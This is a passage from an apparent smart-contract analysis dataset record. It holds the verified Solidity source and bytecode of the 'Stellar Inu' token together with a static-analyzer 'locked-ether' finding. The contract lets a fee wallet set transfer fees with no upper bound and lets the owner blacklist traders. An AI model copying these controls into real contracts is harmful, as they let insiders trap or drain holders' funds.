f16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112ef57fe5b818303905092915050565b6000818301905082811015151561130d57fe5b809050929150505600a165627a7a723058207a0b4f4737548f2cc9e08aa3981717b12f53eb8924577aedb6bcf80061d8756b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,038
0x8024a56b57af66b5389e87ee795b189a34d10f27
/** *Submitted for verification at Etherscan.io on 2021-11-17 */ /** *Submitted for verification at Etherscan.io on 2021-11-16 */ /** http://www.stellarinu.com https://t.me/stellarinueth ˜”*°•.˜”*°• stellar inu •°*”˜.•°*”˜ */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract stellarinu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0x59D5B9003E0aD9Fe4ae1C72b34803055720f3bc3); address payable private _feeAddrWallet2 = payable(0x59D5B9003E0aD9Fe4ae1C72b34803055720f3bc3); string private constant _name = "Stellar Inu"; string private constant _symbol = "StellarInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612b55565b60405180910390f35b34801561015b57600080fd5b506101766004803603810190610171919061267f565b610492565b6040516101839190612b3a565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612cd7565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061262c565b6104c4565b6040516101eb9190612b3a565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612592565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612d4c565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612708565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612592565b6107ba565b6040516102bc9190612cd7565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe9190612762565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612a6c565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612b55565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061267f565b610a65565b60405161038f9190612b3a565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906126bf565b610a83565b005b3480156103cd57600080fd5b506103d6610bad565b005b3480156103e457600080fd5b506103ed610c27565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612762565b611189565b005b34801561042457600080fd5b5061043f600480360381019061043a91906125ec565b61122a565b60405161044c9190612cd7565b60405180910390f35b60606040518060400160405280600b81526020017f5374656c6c617220496e75000000000000000000000000000000000000000000815250905090565b60006104a661049f6112b1565b84846112b9565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d1848484611484565b610592846104dd6112b1565b61058d8560405180606001604052806028815260200161342a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119629092919063ffffffff16565b6112b9565b600190509392505050565b6105a56112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c37565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c37565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112b1565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119c6565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac1565b9050919050565b6108136112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112b1565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612b97565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f5374656c6c6172496e7500000000000000000000000000000000000000000000815250905090565b6000610a79610a726112b1565b8484611484565b6001905092915050565b610a8b6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c37565b60405180910390fd5b60005b8151811015610ba957600160066000848481518110610b3d57610b3c613094565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba190612fed565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bee6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614610c0e57600080fd5b6000610c19306107ba565b9050610c2481611b2f565b50565b610c2f6112b1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb390612c37565b60405180910390fd5b600f60149054906101000a900460ff1615610d0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0390612cb7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de557600080fd5b505afa158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d91906125bf565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7f57600080fd5b505afa158015610e93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb791906125bf565b6040518363ffffffff1660e01b8152600401610ed4929190612a87565b602060405180830381600087803b158015610eee57600080fd5b505af1158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2691906125bf565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610faf306107ba565b600080610fba6109ff565b426040518863ffffffff1660e01b8152600401610fdc96959493929190612ad9565b6060604051808303818588803b158015610ff557600080fd5b505af1158015611009573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061102e919061278f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611133929190612ab0565b602060405180830381600087803b15801561114d57600080fd5b505af1158015611161573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111859190612735565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ca6112b1565b73ffffffffffffffffffffffffffffffffffffffff1614611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612b97565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611329576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132090612c97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139090612bd7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114779190612cd7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb90612c77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611564576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155b90612b77565b60405180910390fd5b600081116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90612c57565b60405180910390fd5b6115af6109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed6109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750600f60179054906101000a900460ff165b15611898576010548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190612e0d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118a3306107ba565b9050600f60159054906101000a900460ff161580156119105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119285750600f60169054906101000a900460ff165b156119505761193681611b2f565b6000479050600081111561194e5761194d476119c6565b5b505b505b61195d838383611db7565b505050565b60008383111582906119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a19190612b55565b60405180910390fd5b50600083856119b99190612eee565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a16600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a41573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a92600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611abd573d6000803e3d6000fd5b5050565b6000600854821115611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff90612bb7565b60405180910390fd5b6000611b12611e11565b9050611b278184611dc790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6757611b666130c3565b5b604051908082528060200260200182016040528015611b955781602001602082028036833780820191505090505b5090503081600081518110611bad57611bac613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4f57600080fd5b505afa158015611c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8791906125bf565b81600181518110611c9b57611c9a613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d66959493929190612cf2565b600060405180830381600087803b158015611d8057600080fd5b505af1158015611d94573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dc2838383611e3c565b505050565b6000611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612007565b905092915050565b6000806000611e1e61206a565b91509150611e358183611dc790919063ffffffff16565b9250505090565b600080600080600080611e4e876120d5565b955095509550955095509550611eac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8d816121e5565b611f9784836122a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff49190612cd7565b60405180910390a3505050505050505050565b6000808311829061204e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120459190612b55565b60405180910390fd5b506000838561205d9190612e63565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120a66b033b2e3c9fd0803ce8000000600854611dc790919063ffffffff16565b8210156120c8576008546b033b2e3c9fd0803ce80000009350935050506120d1565b81819350935050505b9091565b60008060008060008060008060006120f28a600a54600b546122dc565b9250925092506000612102611e11565b905060008060006121158e878787612372565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611962565b905092915050565b60008082846121969190612e0d565b9050838110156121db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d290612bf7565b60405180910390fd5b8091505092915050565b60006121ef611e11565b9050600061220682846123fb90919063ffffffff16565b905061225a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122b78260085461213d90919063ffffffff16565b6008819055506122d28160095461218790919063ffffffff16565b6009819055505050565b60008060008061230860646122fa888a6123fb90919063ffffffff16565b611dc790919063ffffffff16565b905060006123326064612324888b6123fb90919063ffffffff16565b611dc790919063ffffffff16565b9050600061235b8261234d858c61213d90919063ffffffff16565b61213d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238b85896123fb90919063ffffffff16565b905060006123a286896123fb90919063ffffffff16565b905060006123b987896123fb90919063ffffffff16565b905060006123e2826123d4858761213d90919063ffffffff16565b61213d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561240e5760009050612470565b6000828461241c9190612e94565b905082848261242b9190612e63565b1461246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246290612c17565b60405180910390fd5b809150505b92915050565b600061248961248484612d8c565b612d67565b905080838252602082019050828560208602820111156124ac576124ab6130f7565b5b60005b858110156124dc57816124c288826124e6565b8452602084019350602083019250506001810190506124af565b5050509392505050565b6000813590506124f5816133e4565b92915050565b60008151905061250a816133e4565b92915050565b600082601f830112612525576125246130f2565b5b8135612535848260208601612476565b91505092915050565b60008135905061254d816133fb565b92915050565b600081519050612562816133fb565b92915050565b60008135905061257781613412565b92915050565b60008151905061258c81613412565b92915050565b6000602082840312156125a8576125a7613101565b5b60006125b6848285016124e6565b91505092915050565b6000602082840312156125d5576125d4613101565b5b60006125e3848285016124fb565b91505092915050565b6000806040838503121561260357612602613101565b5b6000612611858286016124e6565b9250506020612622858286016124e6565b9150509250929050565b60008060006060848603121561264557612644613101565b5b6000612653868287016124e6565b9350506020612664868287016124e6565b925050604061267586828701612568565b9150509250925092565b6000806040838503121561269657612695613101565b5b60006126a4858286016124e6565b92505060206126b585828601612568565b9150509250929050565b6000602082840312156126d5576126d4613101565b5b600082013567ffffffffffffffff8111156126f3576126f26130fc565b5b6126ff84828501612510565b91505092915050565b60006020828403121561271e5761271d613101565b5b600061272c8482850161253e565b91505092915050565b60006020828403121561274b5761274a613101565b5b600061275984828501612553565b91505092915050565b60006020828403121561277857612777613101565b5b600061278684828501612568565b91505092915050565b6000806000606084860312156127a8576127a7613101565b5b60006127b68682870161257d565b93505060206127c78682870161257d565b92505060406127d88682870161257d565b9150509250925092565b60006127ee83836127fa565b60208301905092915050565b61280381612f22565b82525050565b61281281612f22565b82525050565b600061282382612dc8565b61282d8185612deb565b935061283883612db8565b8060005b8381101561286957815161285088826127e2565b975061285b83612dde565b92505060018101905061283c565b5085935050505092915050565b61287f81612f34565b82525050565b61288e81612f77565b82525050565b600061289f82612dd3565b6128a98185612dfc565b93506128b9818560208601612f89565b6128c281613106565b840191505092915050565b60006128da602383612dfc565b91506128e582613117565b604082019050919050565b60006128fd600c83612dfc565b915061290882613166565b602082019050919050565b6000612920602a83612dfc565b915061292b8261318f565b604082019050919050565b6000612943602283612dfc565b915061294e826131de565b6040820190